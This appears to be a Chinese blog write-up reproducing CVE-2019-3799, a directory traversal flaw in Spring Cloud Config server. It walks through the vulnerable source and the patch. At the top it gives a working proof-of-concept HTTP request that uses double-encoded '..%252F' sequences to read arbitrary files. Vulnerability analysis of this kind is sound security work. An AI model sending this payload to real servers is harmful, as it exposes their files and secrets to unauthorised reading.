zoukankan      html  css  js  c++  java
  • CVE-2019-3799spring-cloud-config 目录穿越漏洞复现

    CVE-2019-3799spring-cloud-config 目录穿越漏洞复现

    目前受影响的 Spring Cloud Config 版本:
    • Spring Cloud Config 2.1.0 ~ 2.1.1
    • Spring Cloud Config 2.0.0 ~ 2.0.3
    • Spring Cloud Config 1.4.0 ~ 1.4.5
    先放 poc:
    GET /aaaa/aaaa/master/..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt HTTP/1.1
    Host: 127.0.0.1:8888
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    

    本地测试是在 windows 下,%252F 的数量可以根据系统和目录的不同进行增减。

    为了展示更好的利用效果,我们在 C:Temp 目录下建一个 1.txt,内容为 test。 发送利用代码: 漏洞源码下载地址: https://github.com/spring-cloud/spring-cloud-config/releases/tag/v2.1.0.RELEASE

    用 IDEA 打开 spring-cloud-config-server 的目录,spring-cloud-config 分为 server 端和 client 端,该漏洞是爆发在 server 端,所以打开的是 server 端的源码。断点在图中 ResourceController.java 的 77 行。

    发送 POC,发现断点捕捉成功。

    根据@RequestMapping("/{name}/{profile}/{label}/**")可知,我们的路由是符合这个 action 的。 跟踪代码。 这块我们仔细讲下有几个函数下面的底层实现逻辑。

    @RequestMapping("/{name}/{profile}/{label}/**")
     public String retrieve(@PathVariable String name, @PathVariable String profile,
       @PathVariable String label, HttpServletRequest request,
       @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
       throws IOException {
      String path = getFilePath(request, name, profile, label);
      return retrieve(name, profile, label, path, resolvePlaceholders);
     }
    

    看下 getFilePath 的实现。

    private String getFilePath(HttpServletRequest request, String name, String profile,
     String label) {
    String stem;
    if(label != null ) {
     stem = String.format("/%s/%s/%s/", name, profile, label);
    }else {
     stem = String.format("/%s/%s/", name, profile);
    }
    String path = this.helper.getPathWithinApplication(request);
    path = path.substring(path.indexOf(stem) + stem.length());
    return path;
    }
    

    直接来到 return,可以看到 IDEA 帮我们把变量的数值都已经计算出来了。通过 return 的 path 可知,这个 getFilePath 是用来获得 POC 里 URI 路径里的最后一段内容..%252F..%252F..%252F..%252F..%252F..%252FTemp%252F1.txt

    回到上级代码,进入retrieve函数的实现:

    synchronized String retrieve(String name, String profile, String label, String path,
       boolean resolvePlaceholders) throws IOException {
      if (name != null && name.contains("(_)")) {
       // "(_)" is uncommon in a git repo name, but "/" cannot be matched
       // by Spring MVC
       name = name.replace("(_)", "/");
      }
      if (label != null && label.contains("(_)")) {
       // "(_)" is uncommon in a git branch name, but "/" cannot be matched
       // by Spring MVC
       label = label.replace("(_)", "/");
      }
    
      // ensure InputStream will be closed to prevent file locks on Windows
      try (InputStream is = this.resourceRepository.findOne(name, profile, label, path)
        .getInputStream()) {
       String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
       if (resolvePlaceholders) {
        Environment environment = this.environmentRepository.findOne(name,
          profile, label);
        text = resolvePlaceholders(prepareEnvironment(environment), text);
       }
       return text;
      }
     }
    

    根据源码可知,前两个 if 是用来替换目录中含有(_)/的逻辑,一个替换 name 位置,一个替换 label 位置,直接来到 try 位置。看看 IDEA 告诉我们 name 和 label 具体对应的是什么。

    来到 try,可以看到这个 try 有点不太一样,是try(){}的形式,可以查一下资料: https://blog.csdn.net/qq_33543634/article/details/80725899 可知: 简单来说,()里的内容比 {}先执行,进入 find0ne 方法:

    public synchronized Resource findOne(String application, String profile, String label,
       String path) {
      String[] locations = this.service.getLocations(application, profile, label).getLocations();
      try {
       for (int i = locations.length; i-- > 0;) {
        String location = locations[i];
        for (String local : getProfilePaths(profile, path)) {
         Resource file = this.resourceLoader.getResource(location)
           .createRelative(local);
         if (file.exists() && file.isReadable()) {
          return file;
         }
        }
       }
      }
      catch (IOException e) {
       throw new NoSuchResourceException(
         "Error : " + path + ". (" + e.getMessage() + ")");
      }
      throw new NoSuchResourceException("Not found: " + path);
     }
    

    来到if (file.exists() && file.isReadable()) {, 看下循环的getProfilePaths(profile, path)的内容,是个数组,数组第一个不符合要求,第二个符合我们要读的文件内容: 循环来到第二个 local ..%2F..%2F..%2F..%2F..%2F..%2FTemp%2F1.txt 进入 if 判断,如果文件存在,且可以 read,就会返回 file。

    这时候已经把读出来的内容复制到 text 内容返回了。

    最后展示到了返回值里。 整个漏洞流程就是这么个逻辑。

    我们来看下补丁是怎么打的。在 2.1.2 代码与 2.1.0 代码进行比较。

    @Override
     public synchronized Resource findOne(String application, String profile, String label,
       String path) {
    
      if (StringUtils.hasText(path)) {
       String[] locations = this.service.getLocations(application, profile, label)
         .getLocations();
       try {
        for (int i = locations.length; i-- > 0;) {
         String location = locations[i];
         for (String local : getProfilePaths(profile, path)) {
          if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
           Resource file = this.resourceLoader.getResource(location)
             .createRelative(local);
           if (file.exists() && file.isReadable()) {
            return file;
           }
          }
         }
        }
       }
       catch (IOException e) {
        throw new NoSuchResourceException(
          "Error : " + path + ". (" + e.getMessage() + ")");
       }
      }
      throw new NoSuchResourceException("Not found: " + path);
     }
    

    多了isInvalidPathisInvalidEncodedPath,去看下这个两个函数的源码:

    protected boolean isInvalidPath(String path) {
      if (path.contains("WEB-INF") || path.contains("META-INF")) {
       if (logger.isWarnEnabled()) {
        logger.warn("Path with "WEB-INF" or "META-INF": [" + path + "]");
       }
       return true;
      }
      if (path.contains(":/")) {
       String relativePath = (path.charAt(0) == '/' ? path.substring(1) : path);
       if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
        if (logger.isWarnEnabled()) {
         logger.warn(
           "Path represents URL or has "url:" prefix: [" + path + "]");
        }
        return true;
       }
      }
      if (path.contains("..") && StringUtils.cleanPath(path).contains("../")) {
       if (logger.isWarnEnabled()) {
        logger.warn("Path contains "../" after call to StringUtils#cleanPath: ["
          + path + "]");
       }
       return true;
      }
      return false;
     }
    
    private boolean isInvalidEncodedPath(String path) {
      if (path.contains("%")) {
       try {
        // Use URLDecoder (vs UriUtils) to preserve potentially decoded UTF-8
        // chars
        String decodedPath = URLDecoder.decode(path, "UTF-8");
        if (isInvalidPath(decodedPath)) {
         return true;
        }
        decodedPath = processPath(decodedPath);
        if (isInvalidPath(decodedPath)) {
         return true;
        }
       }
       catch (IllegalArgumentException | UnsupportedEncodingException ex) {
        // Should never happen...
       }
      }
      return false;
     }
    

    对一些目录和字符串进行了过滤。

    本文使用 mdnice 排版

  • 相关阅读:
    Web安全
    前端安全之XSS攻击
    SQL盲注
    Vim使用手册
    VC获取cookies的几种方法
    Wireshark基本介绍和学习TCP三次握手
    细说Cookie
    top100tools
    如何更改Jframe里Jpanel的大小
    HTTP&&Fiddler教程
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/13157310.html
Copyright © 2011-2022 走看看